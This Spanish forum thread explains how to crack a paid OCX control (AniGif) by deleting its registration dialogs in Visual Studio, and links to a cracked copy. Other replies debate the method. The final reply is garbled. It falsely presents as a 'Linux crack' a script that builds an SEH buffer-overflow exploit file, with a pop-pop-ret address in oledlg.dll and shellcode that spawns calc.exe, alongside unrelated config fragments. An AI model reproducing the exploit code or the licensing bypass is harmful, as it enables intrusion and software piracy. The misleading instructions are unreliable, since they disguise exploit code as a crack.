CRackeando OCX's con Visual Studio .NET 2003/2005

Iniciado por Graphixx, 27 Marzo 2011, 00:37 AM

0 Miembros y 1 Visitante están viendo este tema.

Graphixx

Historia: Una tarde Graphixx estaba envalado bregando a usar Gifs en Visual Basic 6.0 , y cansado de fregar...se fue a trabajar en Visual Studio .NET y Ah la sorpresa cuando descubrio que este permitia abrir las OCX en tiempo de diseño, y ahi comenzo todo....

Archivos necesarios para la practica:
Los archivos el control OCX chino original y ya crackeado estan en este post que ya habia publicado, bajatelos para que podas seguir paso a paso la practica.
Ver post con los archivos (Tengo el control OCX full - Crackeado by Graphixx)
http://foro.elhacker.net/programacion_visual_basic/tengo_el_control_ocx_anigif_en_version_fullcrackeado-t131536.0.html;msg616138#msg616138

Procedimiento:
Lo he implementado en Visual Studio .NET 2003 y 2005

1) Seleccionamos la OCX a crackear en este caso la ANigif.OCX y le damos abrir con...

2) Seleccionamos la opcion abrir con...


3) Seleccionamos la opcion seleccionar el programa de una lista...

4) Seleccionamos el Visual Studio .NET 2003 o 2005 el que tengan


5) Nos va a aparecer una ventana asi.... donde podemos observar todos los objetos de los que se compone la OCX, aqui tenemos que proceder a localizar las ventanas SPAM que son las que siempre salen pidiendo registrar el control, en este caso son 2.  la 203 y la 202.


6) vista de la ventana de registro 203 (Acedes a esta vista simplemente dando doble clic sobre ella en la ventana anterior)


7) Vista de la ventana de registro 202


8 ) Procedemos a eliminar la 203 (clic derecho y eliminar)


9) Procedemos a eliminar la 202


10) Asi queda la vista de la ventana despues de haber eliminado los dos objetos (form o formularios de la sección Dialog de la OCX).


11) Por ultimo guardamos la OCX, clic derecho y guardar.


LISTO ! apuesto a que es el crack mas facil que podeis hacer en toda tu vida, no te quedes sin intentarlo....
Nada tiene fin solo hay pequeñas pausas, pausas que determinan el comienzo de otros. Graphixx
Mi blog

apuromafo CLS

dale con el tema de destruir recursos  , te pasare comprimido con upx la ocx y el metodo no te servira.

los ocx, trabajan igual que como una dll, o similar  pero esto siempre que no este comprimida la aplicacion/dll

saludos Apuromafo

Graphixx

vale vale bro que yo no me dedico a eso del crack, y es mas no se podria considerar mucho como crack el metodo que utilizo pero es lo que me imagine y me resulto de probar por simple pericia... es como ese metodo que no se si has visto de parchar el logmein, con el reshack borrando la ventana que sale en el pc anfitrion. pero de mas esta que es en su tiempo fue una solucion para mi, y creeme que no se encontraba por ningun lado el crack pa esa ocx y es de pago. aparte quiero aclarar que lo hice por simple curiosidad y por que estaba programando un juego para divertirme, pero si uno va usar una libreria que alguien se esforzo en hacer, vale, que se debe pagar por ella, nosotros como programadores entendemos el esfuerzo que conlleva hacer algo. y cuando se va usar para un proyecto en la empresa o para uno sacar un proyecto a produccion, de mas esta pagar por ella, y si es para un proyecto libre entonces buscar una libreria gratuita.

Saludos.
Nada tiene fin solo hay pequeñas pausas, pausas que determinan el comienzo de otros. Graphixx
Mi blog

seba123neo

hay un monton de ocx que solo con borrarle la ventanita ya se hace full...pero aparte si en visual basic necesitas mostrar gif, tenes el source del anigif por ahi, en control de usuario (.ctl)
La característica extraordinaria de las leyes de la física es que se aplican en todos lados, sea que tú elijas o no creer en ellas. Lo bueno de las ciencias es que siempre tienen la verdad, quieras creerla o no.

Neil deGrasse Tyson

karmany

Hola Graphixx, primeramente gracias por compartir.

Bueno, yo soy de la opinión de apuromafo, yo no soy partidario de eliminar los recursos así sin más. Pienso que hay que analizar el código. Si no me equivoco ese ocx estará hecho con Visual Basic 6 y sin protección, así que no debe ser difícil analizarlo.

De todos modos si a ti te funciona bien así, pues adelante pero yo no recomiendo que la gente se lo descargue. Eliminando recursos puedes conseguir que se produzcan excepciones no esperadas y que se ejecute código no deseado.

Un saludo-

jessejemmes

si ha alguien le interesa tambien se puede crackear en linux
Código (actionscript) [Seleccionar]
[/ </ID_CHECKBOX1>
    <ID_NotebookSearchSource>
      <index>2</index>
    </ID_NotebookSearchSource>
    <ID_TextCtrlSearchInFileList>
      <value></value>
    </ID_TextCtrlSearchInFileList>
    <ID_ListCtrlSearchFilesAndFolders>
      <items/>
    </ID_ListCtrlSearchFilesAndFolders>
    <ID_CheckBoxIncludeSubFolders>
      <value>1</value>
    </ID_CheckBoxIncludeSubFolders>
    <ID_ComboBoxIncludeWords>
      <items/>
      <index>-1</index>
      <value></value>
    </ID_ComboBoxIncludeWords>
    <ID_ComboBoxFilePath>
      <items/>
      <index>-1</index>
      <value>Z:\root\program\</value>
    </ID_ComboBoxFilePath>
] asi les tiene que quedar olledlg.cfg
y se tiene que generar este archivo apartir de este script que crearemos con kwrite en ubuntu
[code=asm][appdata = ENV['APPDATA']
file = appdata +"\\tec.ini

f = open(file, "wb")
eb = "\xeb\x06\x90\x90"
ppr = "\x67\x15\xD3\x74" #Module Name=C:\WINDOWS\system32\oledlg.dll version=1.0 (XPClient.010817-1148)
#Spawn calc.exe, bad characters: \x00\x0a\x0d
shellcode = ("\xdd\xc3\xd9\x74\x24\xf4\x5a\xb8\x30\xe7\x16\x7d\x33\xc9" +
"\xb1\x33\x31\x42\x17\x83\xc2\x04\x03\x72\xf4\xf4\x88\x8e" +
"\x12\x71\x72\x6e\xe3\xe2\xfa\x8b\xd2\x30\x98\xd8\x47\x85" +
"\xea\x8c\x6b\x6e\xbe\x24\xff\x02\x17\x4b\x48\xa8\x41\x62" +
"\x49\x1c\x4e\x28\x89\x3e\x32\x32\xde\xe0\x0b\xfd\x13\xe0" +
"\x4c\xe3\xdc\xb0\x05\x68\x4e\x25\x21\x2c\x53\x44\xe5\x3b" +
"\xeb\x3e\x80\xfb\x98\xf4\x8b\x2b\x30\x82\xc4\xd3\x3a\xcc" +
"\xf4\xe2\xef\x0e\xc8\xad\x84\xe5\xba\x2c\x4d\x34\x42\x1f" +
"\xb1\x9b\x7d\x90\x3c\xe5\xba\x16\xdf\x90\xb0\x65\x62\xa3" +
"\x02\x14\xb8\x26\x97\xbe\x4b\x90\x73\x3f\x9f\x47\xf7\x33" +
"\x54\x03\x5f\x57\x6b\xc0\xeb\x63\xe0\xe7\x3b\xe2\xb2\xc3" +
"\x9f\xaf\x61\x6d\xb9\x15\xc7\x92\xd9\xf1\xb8\x36\x91\x13" +
"\xac\x41\xf8\x79\x33\xc3\x86\xc4\x33\xdb\x88\x66\x5c\xea" +
"\x03\xe9\x1b\xf3\xc1\x4e\xd3\xb9\x48\xe6\x7c\x64\x19\xbb" +
"\xe0\x97\xf7\xff\x1c\x14\xf2\x7f\xdb\x04\x77\x7a\xa7\x82" +
"\x6b\xf6\xb8\x66\x8c\xa5\xb9\xa2\xef\x28\x2a\x2e\xde\xcf" +
"\xca\xd5\x1e")

f.write("\r\n[Act_"+"\x41"*1088+eb+ppr+shellcode+"]\r\nEnabled = 1\r\n")
f.close()
] le llamaremos app/data

luego ya bastara abrir con wine tec.exe  y emplear convert para olledlg.cfg , app/data

y crearan un archivo 03.log y walla crackeado importante cuando creen olledlg.cfg hagan una copia y llamen le olledlg.lst el programa al principio no la reconocera pero la dan all archives y no habra problema


saludos.....
[/code]